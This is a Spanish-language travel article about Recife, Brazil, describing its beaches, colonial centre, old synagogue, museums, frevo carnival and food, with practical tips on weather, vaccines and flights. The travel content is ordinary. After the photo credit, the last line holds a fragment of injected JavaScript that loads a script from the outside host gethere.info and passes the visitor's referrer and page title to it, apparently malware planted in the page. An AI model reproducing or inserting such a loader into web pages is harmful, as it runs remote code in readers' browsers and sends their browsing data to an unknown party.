Las palmeras son altísimas. Recife, ubicada en el noreste de Brasil, resulta cautivadora y la prueba de que el país carioca es mucho más que Sao Paulo y Río de Janeiro. Aquí verá cuestas empedradas, calles elegantes y fachadas de colores. Puede que le encuentre un aire a La Habana, pero está mucho más cuidada. Se ven cuerpos esculturales, fibrosos, de un moreno envidiable, y si uno no está en forma le dará cosa sacar a relucir sus carnes en la playa.
En las playas, porque Recife tiene kilómetros y kilómetros de litoral de arena blanca y mar azulísimo. La playa de Boa Viagem, con siete kilómetros de extensión, tiene arrecifes naturales y espacios para la práctica del volley, fútbol y surf. Uno podría vivir todo el año con los tres elementos de esta simple ecuación: tomar el sol, baños frescos y un poco de deporte. ¿Para qué más? El arenal más famoso de las afueras de la ciudad (a 65 kilómetros) es Porto de Galinhas, ideal para el buceo y considerada por muchos la mejor playa del país. Impresionante.
El centro, adoquinado, rivaliza con la costa en belleza. Cada cosa tiene su encanto. La Plaza de la República es el epicentro, con el neoclásico Teatro Santa Isabel y la confluencia de los dos principales ríos de la ciudad, Capibaribe y Beberibe. Recife tiene más canales y ríos y multitud de puentes, lo que le ha valido el sobrenombre de la Venecia de Brasil. La sinagoga Kahal Zur Israel es la más antigua de toda América: se fundó en 1630. Y fue de esta ciudad de donde partieron los primeros judíos que se establecieron en Nueva York.
El Museo Estatal de Pernambuco, ubicado en una mansión del siglo XIX, cuenta con más de 12.000 piezas de arte de la época colonial, una parte de la historia protagonizada por portugueses y holandeses. El mercado de San José y el entorno de la Catedral de San Pedro es animadísimo. Se dará cuenta de que eso (y no otra cosa y no lo que nos enseñan en la tele) es Brasil en estado puro.
Las palmeras continúan por las avenidas donde se sitúan los rascacielos. La música brasileña puede sonar desde cualquier parte: un coche, la ventana de un apartamento, una pandilla de amigos. Llevan la música en las venas. Y por eso no es extraño que el carnaval de Recife sea uno de los más divertidos. Y también secretos. Miles de personas toman las calles y, al contrario que en Río, el ritmo de la zona es el frevo: los bailarines saltan y se contorsionan mientras empuñan una sombrilla de colores. De día, el carnaval es tranquilo, pero por la noche prepárese para un boom. Para tanta pasión y movimiento hace falta alimentarse bien: pruebe los pescados y la carne secada al sol que configura la idiosincrasia de la zona. Y si le apetece más playeo, tome un avión y en una hora se plantará en las islas de Fernando de Noronha, Patrimonio de la Humanidad. Más buceo, más surf y más cuerpos esculturales.
Datos útiles:
- Recife tiene un millón y medio de habitantes.
- En diciembre empieza el verano en Brasil. De cualquier forma, el país mantiene una temperatura media de entre 21º y 28º C, por lo que no hay que preocuparse demasiado por el frío. En Pernambuco hay que tener en cuenta que podemos encontrarnos con bastantes lluvias de diciembre a marzo.
- No es necesario vacunarse, aunque si va a visitar otros estados además de Pernambuco es recomendable la vacuna de la fiebre amarilla.
- La página web de la embajada de Brasil en España es www.brasil.es y el teléfono, 91 700 46 50.
- Desde el 1 de febrero, Iberia ofrece vuelos directos a Recife los martes, viernes y domingos. Para encontrar los mejores precios, busca en www.iberia.com.
Foto | Américo Nuness.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + »;